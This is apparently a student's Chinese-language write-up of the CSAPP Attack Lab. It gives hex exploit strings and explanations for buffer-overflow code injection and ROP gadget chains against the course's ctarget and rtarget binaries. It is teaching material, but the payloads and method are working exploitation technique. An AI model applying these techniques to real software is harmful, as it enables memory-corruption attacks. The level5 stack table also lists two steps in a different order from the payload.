CSAPP_AttackLab实验报告
屏幕截图
考察内容
本次lab主要考察对栈帧的掌握程度以及对Ctrl+F的掌握程度。
各题答案
level1
00 01 02 03 04 05 06 07
08 09 1a 0b 0c 0d 0e 0f
10 11 12 13 14 15 16 17
18 19 1a 1b 1c 1d 1e 1f
20 21 22 23 24 25 26 27
c0 17 40 00
level2
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 0d 0e 0f
10 11 12 13 14 15 16 17
18 19 1a 1b 1c 1d 1e 1f
20 21 22 23 24 25 26 27
78 dc 61 55
level3
48 c7 c7 ac dc 61 55 68
fa 18 40 00 c3 0d 0e 0f
10 11 12 13 14 15 16 17
18 19 1a 1b 1c 1d 1e 1f
20 21 22 23 24 25 26 27
78 dc 61 55 00 00 00 00
00 00 00 00 35 39 62 39
39 37 66 61 00 00 00 00
level4
00 01 02 03 04 05 06 07
08 09 1a 0b 0c 0d 0e 0f
10 11 12 13 14 15 16 17
18 19 1a 1b 1c 1d 1e 1f
20 21 22 23 24 25 26 27
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
level5
00 01 02 03 04 05 06 07
08 09 1a 0b 0c 0d 0e 0f
10 11 12 13 14 15 16 17
18 19 1a 1b 1c 1d 1e 1f
20 21 22 23 24 25 26 27
ad 1a 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
69 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00
解题思路
level1
任务
利用缓冲区溢出使getbuf函数结束后返回touch1。
思路
将可执行文件ctarget反汇编后,查看getbuf部分的指令:
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
从语句4017a8可以看出,getbuf函数预留的缓冲区长度为40byte。根据栈帧结构,只需要先用40byte的无意义数据覆盖缓冲区,再输入touch1函数的首地址就完成了。同时这个attack是免疫栈随机化和栈不可运行的。
查看touch1的首地址为0x4017c0,根据小端法,只需要在无意义数据的后面添上c0 17 40即可。
level2
任务
利用缓冲区溢出使getbuf结束后返回touch2,同时寄存器rdi的值被修改为0x59b997fa。
思路
因为需要利用缓冲区溢出修改寄存器的值,因此联想到将指令写入栈中并在栈上运行。
新建文件1.s,在其中写入以下内容:
movq $0x59b997fa,%rdi //将rdi里的值修改为cookie
pushq $0x4017ec //将touch2的首地址压入栈中
ret
在终端中执行指令gcc -c 1.s,将汇编语言编译为二进制文件,然后再通过objdump指令反汇编,得出汇编指令的机器语言:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
将机器语言代码加入exploit.txt中,用gdb调试查看getbuf开辟缓冲区后rsp的值为0x5561dc78,因此在覆盖数据后加入78 dc 61 55即可。
level3
任务
利用缓冲区溢出使getbuf结束后返回touch3,同时使寄存器rdi指向"59b997fa"字符串的首地址。
思路
首先的思路是将level2的机器代码稍微改一下:将字符串的ASCII码放在缓冲区中,机器语言代码中将寄存器rdi的值改为栈中字符串的首地址,然后将touch3的首地址压入栈中。
尝试之后发现返回结果不是PASS而是misfire。调用gdb查看rip指向touch3时原getbuf缓冲区的值,发现由于getbuf缓冲区长度过小,导致调用touch3后由于退栈导致rsp覆盖了原本放置字符串的区域。因此将cookie放在缓冲区中是不可行的。
后来想到既然由于函数跳转,getbuf的栈帧不可用,那么可以将字符串放在相较getbuf栈帧更接近底层的地方,也就是放在返回地址的后面。这样更加不容易被覆盖。
level4
任务
在开启栈随机化和栈不可执行的条件下,利用缓冲区溢出和ROP注入完成level2的任务。
思路
由于栈不可执行,level2中直接在栈上执行代码的方法失效了。PPT提示使用ROP注入的方式。意思是在rtarget的farm部分中有一大堆奇怪的函数,这些函数代码编译后的二进制形式的某一部分可以被理解为汇编指令。因此可以将getbuf的返回地址重定向到该部分开头处,就可以间接达成任务要求。
然而并没有发现在farm中有类似movq $0x59b997fa,%rdi这样的语句。再加上ROP table.pdf中给出的只有从寄存器到寄存器、从栈到寄存器的操作。因此想到可以先将0x59b997fa存放在栈中,然后利用farm里的popq操作将cookie间接赋给rdi。
利用Ctrl+F在反汇编后的rtarget文件的farm部分中查找和popq有关的关键字,发现只有在<addval_219>中含有和popq有关的关键字,且之后内容为代表空的"90"。
00000000004019a7 <addval_219>:
//下行“58”开头的代码等价于"popq %rax"
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3
然而该level要求的是将寄存器rdi的值赋为cookie,而非rax。因此考虑利用movq操作将rax的值赋给rdi。猜想代表"movq %rax,%rdi"的"48 89 c7",最后在<setval_426>中找到了它。
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
因此只要将各个模块组装起来就好了。最后的栈帧结构大致是这样的:
地址 | 代码大意 |
---|---|
x-24~x-4 | 覆盖缓冲区数据 |
x | 跳转至<addval_219>,执行popq |
x+4 | 空 |
x+8 | 存放cookie |
x+12 | 空 |
x+16 | 跳转至<setval_426>,执行movl |
x+20 | 空 |
x+24 | 跳转至touch2 |
两个ROP之间的byte留空的原因是每次函数返回后,执行popq指令,rsp-8,如果不留空的话会导致数据被覆盖。
具体代码见各题答案。
level5
任务
在开启栈随机化和栈不可执行的条件下,利用缓冲区溢出和ROP注入完成level3的任务。
(据说是非常非常难的,可我觉得就是一个gadget收集大赛……)
思路
有了level4作铺垫,那level5的解题思路也就不难想到了。
于是开始收集各种(可能)有用的gadget(体会到了Ctrl+F真的是神器啊……):
作用 | 地址 |
---|---|
popq %rax | 0x4019ab |
movq %rax,%rdi | 0x4019c5 |
movq %rsp,%rax | 0x401a06,0x401aad |
movl %eax,%edx | 0x4019dd |
movl %eax,%edi | 0x4019c6 |
movl %ecx,%esi | 0x401a13,0x401a27 |
movl %edx,%ecx | 0x401a69,0x401a34 |
movl %esp,%eax | 0x401a3c,0x401a86,0x401aae,0x401a07 |
rax=rdi+rsi | 0x4019d6 |
最后一个尤其特殊。它不是某个函数的一部分,而是整个函数的作用就是将rax的值修改为rdi+rsi。由于PPT中提到某些gadget的画风可能和其他gadget不太一样,因此猜想这个gadget是解决level5的关键。
考虑如何解决level5。容易想到和level3一样把字符串放在栈中。只是因为开启了栈随机化,没有办法把一个绝对地址通过直接或间接的方法赋给rdi,因为这个字符串的首地址每次运行rtarget时都会改变。因此考虑相对地址,也就是计算出rsp和字符串首地址的距离,将两者相加赋给rdi。因此add_xy派上了用场。
设相对距离为x,那么最终目的是rdi=rsp+x。目前我们拥有的函数是rax=rdi+rsi,因此需要通过某种途径将rsp赋给rdi,将x赋给rsi,最后将计算结果rax赋给rdi。通过gadget我们可以轻松地画出两条传递链:
rsp-->rax-->rdi
pushq x-->rax(eax)-->edx-->ecx-->esi(rsi)
因此整个解题逻辑就十分清楚了。
栈帧结构:
地址 | 代码大意 |
---|---|
x~x+20 | 覆盖数据 |
x+24 | movq %rsp,%rax |
x+32 | movq %rax,%rdi |
x+40 | 偏移量(本题中为0x48) |
x+48 | popq %rax |
x+56 | movl %eax,%edx |
x+64 | movl %edx,%ecx |
x+72 | movl %ecx,%esi |
x+80 | add_xy |
x+88 | movq %rax,%rdi |
x+96 | 返回touch3 |
按照栈帧结构填入对应地址或值即可。
Reference
- AttackLab.pptx
- 深入理解计算机系统attack lab